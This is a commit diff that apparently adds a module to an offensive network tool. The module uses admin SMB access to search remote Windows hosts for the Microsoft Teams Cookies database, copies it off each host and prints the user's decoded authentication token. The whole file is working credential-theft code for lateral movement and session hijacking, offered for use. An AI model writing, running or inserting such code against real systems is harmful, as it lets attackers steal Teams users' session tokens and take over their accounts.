Added functionality to retrieve the Microsoft Teams Cookies database and extract the ssoauthcookie

cme/modules/teams_localdb.py

@@ -0,0 +1,44 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import urllib.parse
+import sqlite3
+
+class CMEModule:
+
+    name = 'teams_localdb'
+    description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
+    supported_protocols = ['smb']
+    opsec_safe = False
+    multiple_hosts = True
+
+    def options(self, context, module_options):
+        '''
+        '''
+
+    def on_admin_login(self, context, connection):
+        paths = connection.spider('C$', folder='Users', regex=['^Cookies$'])
+        for path in paths:
+            if "/AppData/Roaming/Microsoft/Teams" in path:
+                f = open("cookies.txt", "wb")
+                try:
+                    connection.conn.getFile('C$', path, f.write)
+                    self.parse_file(context)
+                except Exception as e:
+                    context.log.error(str(e))
+                    context.log.error('Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database')
+
+    @staticmethod
+    def parse_file(context):
+        try:
+            conn = sqlite3.connect('cookies.txt')
+            c = conn.cursor()
+            c.execute("SELECT value FROM cookies WHERE name = 'authtoken'")
+            row = c.fetchone()
+            if row == None:
+                context.log.error("No ssoauthcookie present in Microsoft Teams Cookies database")
+            else:
+                context.log.success("Succesfully extracted ssoauthcookie: " + urllib.parse.unquote(row[0]).split('=')[1].split('&')[0])
+            conn.close()
+        except Exception as e:
+            context.log.error(str(e))